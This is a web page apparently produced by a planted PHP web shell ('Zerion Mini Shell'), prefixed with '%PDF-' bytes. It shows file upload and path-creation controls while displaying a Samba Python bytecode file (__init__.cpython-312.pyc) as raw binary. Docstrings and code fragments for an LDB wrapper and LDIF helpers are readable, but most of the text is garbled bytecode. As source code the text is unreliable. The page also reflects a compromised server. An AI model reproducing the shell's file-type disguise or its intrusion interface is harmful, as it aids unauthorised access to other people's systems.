%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/samba/__pycache__/__init__.cpython-312.pyc

�

�I�d�4���dZdZddlZddlZddlZddlZddlZddlmZddl	m
Zd�Zd�Z
Gd�d	e�Z
d
�Zd�Zd�Zdd
�ZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Zej4Zej6Zej8Zej:Zej<Zej>Zej@Z ejBZ!ejDZ"ejFZ#ejHZ$ejJZ%ejLZ&ejNZ'ejPZ(ejRZ)ejTZ*ejVZ+ejXZ,ejZZ-ej\Z.ej^Z/ej`Z0ejbZ1y)zSamba 4.�restructuredText�N)�_glue)�Ldbc�l�ddg}|D]�}tjjtjjtjj	t
�|��}tjj
tjj|d��s��|cStd��)z&Return the top level source directory.z../../..z../../../..�source4z)unable to find top level source directory)�os�path�normpath�join�dirname�__file__�exists�RuntimeError)�paths�p�topdirs   �0/usr/lib/python3/dist-packages/samba/__init__.py�source_tree_topdirr"s}��
��'�E�
������!�!�"�'�'�,�,�r�w�w���x�/H�!�"L�M��
�7�7�>�>�"�'�'�,�,�v�y�9�:��M���B�
C�C�c�8�	t�}y#t$rYywxYw)z?Return True if we are running from within the samba source treeFT)rr)rs r�in_source_treer,s(���#�%��������s�

�	�c�f�eZdZdZ		dd�Zddejfd�Zd�Zd�Z	d�Z
d�Zdd	�Zdd
�Z
y)
raSimple Samba-specific LDB subclass that takes care
    of setting up the modules dir, credentials pointers, etc.

    Please note that this is intended to be for all Samba LDB files,
    not necessarily the Sam database. For Sam-specific helper
    functions see samdb.py.
    Nc��|�|j|�nK|jtjjtj
j
�d��|�|j|�|�|j|�|�|j|�|j�d�}|j�|�(|jd�}	|	�|	r|tjz}|jd�|�|j!|||�yy)ahOpens a Samba Ldb file.

        :param url: Optional LDB URL to open
        :param lp: Optional loadparm object
        :param modules_dir: Optional modules directory
        :param session_info: Optional session information
        :param credentials: Optional credentials, defaults to anonymous.
        :param flags: Optional LDB flags
        :param options: Additional options (optional)

        This is different from a regular Ldb file in that the Samba-specific
        modules-dir is used by default and that credentials and session_info
        can be passed through (required by some modules).
        N�ldbc��t|�y�N)�print)�l�texts  r�msgzLdb.__init__.<locals>.msgcs	���$�Krz
ldb:nosynci�)�set_modules_dirrr	r�samba�param�modules_dir�set_session_info�set_credentials�set_loadparm�register_samba_handlers�set_utf8_casefold�getr�
FLG_NOSYNC�set_create_perms�connect)
�self�url�lpr$�session_info�credentials�flags�optionsr �nosync_ps
          r�__init__zLdb.__init__>s���"�"�� � ��-�� � ������e�k�k�.E�.E�.G��!O�P��#��!�!�,�/��"�� � ��-�
�>����b�!�
	
�$�$�&�	�	
��� ��>��v�v�l�+�H��#������'�����e�$��?��L�L��e�W�-�rc���|j||||g�}t|�dk7s|d|�yt|d|�}t|�dk(sJ�|j||j	��S)aGSearch for one attribute as a string.

        :param basedn: BaseDN for the search.
        :param attribute: Name of the attribute
        :param expression: Optional search expression.
        :param scope: Search scope (defaults to base).
        :return: Value of attribute as a string or None if it wasn't found.
        �rN)�search�len�set�schema_format_value�pop)r.�	attribute�basedn�
expression�scope�res�valuess       r�	searchonez
Ldb.searchonetst���k�k�&�%��i�[�A���s�8�q�=�C��F�9�-�5���S��V�I�&�'���6�{�a�����'�'�	�6�:�:�<�@�@rc��	|j|tjgd��}	|D]}|j
|jdg��!y#tj$r-}|j\}}|tj
k(rYd}~y�d}~wwxYw#tj$r-}|j\}}|tj
k7r�Yd}~yd}~wwxYw)z�Erases user and computer objects from our AD.

        This is needed since the 'samldb' module denies the deletion of primary
        groups. Therefore all groups shouldn't be primary somewhere anymore.
        z+(|(objectclass=user)(objectclass=computer)))�baserA�attrsr@N�relax:0)r9r�
SCOPE_SUBTREE�LdbError�args�ERR_NO_SUCH_OBJECT�delete�dn)r.rNrB�error�errno�estrr s       r�erase_users_computerszLdb.erase_users_computers�s���		��+�+�2�S�->�->�b�)V��X�C�	��
1�����C�F�F�Y�K�0�
1���|�|�	�!�J�J�M�U�D���.�.�.����
	���|�|�	�!�J�J�M�U�D���.�.�.��/��	�s4�#A�$B�B�"B�B�B�C�!#C	�	Cc�j�d}|j|�|j|tjdgddg��D] }	|j	|j
dg��"|j|tjdgddg��}t|�dk(sJ�d	D]}	|j	|dg��y#tj$r-}|j\}}|tjk7r�Yd}~��d}~wwxYw#tj$r-}|j\}}|tjk7r�Yd}~��d}~wwxYw)
z~Erase this ldb.

        :note: Removes all records, except those that are controlled by
            Samba4's schema.
        �zJ(&(|(objectclass=*)(distinguishedName=*))(!(distinguishedName=@BASEINFO)))zshow_deleted:0zshow_recycled:0)�controlsrHNr)z@SUBCLASSESz@MODULESz@OPTIONSz
@PARTITIONz
@KLUDGEACL)
rRr9rrIrMrNrJrKrLr:)r.r?r rOrPrQrB�attrs        r�erase_except_schema_controlledz"Ldb.erase_except_schema_controlled�sC����	
�"�"�6�*��;�;�v�s�'8�'8�k�!�-=�?P�,Q��S�		�C�
����C�F�F�Y�K�0�			��k�k�&�#�"3�"3�f��(8�:K�'L��N���3�x�1�}��}�=�	�D�
����D�9�+�.�	���<�<�
� %�
�
�
����C�2�2�2��3��
�� �<�<�
� %�
�
�
����C�2�2�2��3��
�s/�B/�C2�/C/�#C*�*C/�2D2�#D-�-D2c���|j�dD]}	|j|dg��y#tj$r-}|j\}}|tj
k7r�Yd}~�Ud}~wwxYw)z%Erase this ldb, removing all records.)z
@INDEXLISTz@ATTRIBUTESrHN)rWrMrrJrKrL)r.rVrOrPrQs     r�erasez	Ldb.erase�sm���+�+�-�2�	�D�
����D�9�+�.�	���<�<�
� %�
�
�
����C�2�2�2��3��
�s�-�A-�#A(�(A-c��t|d�5}|j|j��ddd�y#1swYyxYw)zHLoad a LDIF file.

        :param ldif_path: Path to LDIF file.
        �rN)�open�add_ldif�read)r.�	ldif_path�	ldif_files   r�load_ldif_file_addzLdb.load_ldif_file_add�s8��
�)�S�
!�	,�Y��M�M�)�.�.�*�+�	,�	,�	,�s� 6�?c��|j|�D],\}}|tjk(sJ�|j||��.y)zJAdd data based on a LDIF string.

        :param ldif: LDIF text.
        N)�
parse_ldifr�CHANGETYPE_NONE�add)r.�ldifrU�
changetyper s     rr]zLdb.add_ldif�sB��
 $���t�4�	$�O�J����!4�!4�4�4�4��H�H�S�(�#�	$rc��|j|�D]�\}}|tjk(rtj}|tjk(r|j||��O|tjk(r|j
||��u|tjk(r|}|j||���|tjk(r2|d}|d}|d}|durtd��|j|||���td||fz��y)zQModify database based on a LDIF string.

        :param ldif: LDIF text.
        �olddn�deleteoldrdn�newdnFz5Invalid ldb.CHANGETYPE_MODRDN with deleteoldrdn=FalsezInvalid ldb.CHANGETYPE_%u: %sN)rcrrd�CHANGETYPE_MODIFY�CHANGETYPE_ADDre�modify�CHANGETYPE_DELETErM�CHANGETYPE_MODRDN�
ValueError�rename)	r.rfrUrgr �deldnrirjrks	         r�modify_ldifzLdb.modify_ldif�s���
 $���t�4�	V�O�J���S�0�0�0� �2�2�
��S�/�/�/�����h�'��s�4�4�4����C��*��s�4�4�4������E�8�,��s�4�4�4��G���"�>�2���G����5�(�$�%\�]�]����E�5�(�3� �!@�J�PS�CT�!T�U�U�'	Vr)NNNNNrNr)�__name__�
__module__�__qualname__�__doc__r6r�
SCOPE_BASErDrRrWrYrar]rt�rrrr5sK���JN�48�4.�l+/�4����A�"�6'�R�,�$�Vrrc���|j�D]R\}}t|t�s
Jd|z��t|t�sJd|�d|�d���|jd|z|�}�T|S)z�Substitute strings of the form ${NAME} in str, replacing
    with substitutions from values.

    :param text: Text in which to substitute.
    :param values: Dictionary with keys and values.
    z%r is not a stringzValue z for z is not a stringz${%s})�items�
isinstance�str�replace)rrC�name�values    r�substitute_varr�sn�� ����3�
��u��$��$�A�&:�T�&A�A�$��%��%�X�E�SW�'X�X�%��|�|�G�d�N�E�2��3�
�Krc�z�d|vry|jd�}|jd|�}td|||dzz��)z�Check that all substitution variables in a string have been replaced.

    If not, raise an exception.

    :param text: The text to search for substitution variables
    z${N�}z!Not all variables substituted: %sr8)�find�	Exception)r�	var_start�var_ends   r�check_all_substitutedr�sO���4����	�	�$��I��i�i��Y�'�G�
�7���7�Q�;�/�0�1�1rc��t|dd��5}|j�}|�t||�}t|�ddd�|S#1swYSxYw)z�Read a file and sub in variables found in it

    :param file_name: File to be read (typically from setup directory)
     param subst_vars: Optional variables to substitute in the file.
    r[zutf-8)�encodingN)r\r^r�r�)�	file_name�
subst_vars�	data_file�datas    r�read_and_sub_filer�$sV��
�i��w�	/�(�9��~�~����!�!�$�
�3�D�!�$�'�	(�
�K�(�
�K�s�*A�A
c�
�tjj|�rtj|�t	||�}t|d�}	|j
|�|j�y#|j�wxYw)z�Setup a file in the private dir.

    :param template: Path of the template file.
    :param fname: Path of the file to create.
    :param subst_vars: Substitution variables.
    �wN)rr	r�unlinkr�r\�write�close)�template�fnamer�r��fs     r�
setup_filer�2s[��
�w�w�~�~�e��
�	�	�%���X�z�2�D��U�C��A��	����
�	���	�����	�s�A0�0B�c�.�|j�xs|dvS)Nz !#$%&'()-.@^_{}~)�isalnum)�cs r�is_valid_netbios_charr�Gs��
�I�I�K�3�1� 3�3�4rc�R�t|�tkDry|D]}t|�r�yy)z1Check whether a name is valid as a NetBIOS name. FT)r:�MAX_NETBIOS_NAME_LENr�)r��xs  r�valid_netbios_namer�Ks3���4�y�'�'��
���$�Q�'���rc�H�ddj|jd��zS)z.return a DN from a DNS name domain/forest rootzDC=z,DC=�.)r�split)�	dnsdomains r�dn_from_dns_namer�Vs���6�;�;�y���s�3�4�4�4rc�<�ttj��Sr)�int�timerzrr�current_unix_timer�[s���t�y�y�{��rc�b�|D�cgc]}t|t�r|n
t|���!c}Scc}wr)r}r��ord)�stringr�s  r�string_to_byte_arrayr�_s(��9?�@�A��A�s�#�A��Q��/�@�@��@s�$,c� �ddlm}|||�S)Nr)�arcfour_crypt_blob)�samba.cryptor�)�keyr�r�s   r�arcfour_encryptr�cs��/��d�C�(�(rc��ddlm}ddlm}y)zXThis function modifies the samba.net.Net class to contain
    an export_keytab() method.r)�net)�dckeytabN)r"r�r�)r�r�s  r�enable_net_export_keytabr�hs
���rr)2rx�
__docformat__r�sysr�r�samba.paramr"r�
samba._ldbr�_Ldbrrr�r�r�r�r�r�r�r�r�r�r�r��version�
interface_ips�fault_setup�set_debug_level�get_debug_level�float2nttime�nttime2float�
nttime2string�nttime2unix�unix2nttime�generate_random_password� generate_random_machine_password�check_password_quality�generate_random_bytes�strcasecmp_m�strstr_m�is_ntvfs_fileserver_built�is_heimdal_built�is_ad_dc_built�is_selftest_enabled�
NTSTATUSError�HRESULTError�WERRORError�DsExtendedErrorrzrr�<module>r�s���*�"�
�	�
��
���"�D��KV�$�KV�\
� 1�"��$��5��5�
�A�)�
�"�-�-���#�#�
������'�'���'�'���!�!���!�!���#�#�
��������� �9�9��#(�#I�#I� ��5�5���3�3���!�!���>�>��!�;�;���)�)���%�%���/�/���#�#�
��!�!�������'�'�r

Zerion Mini Shell 1.0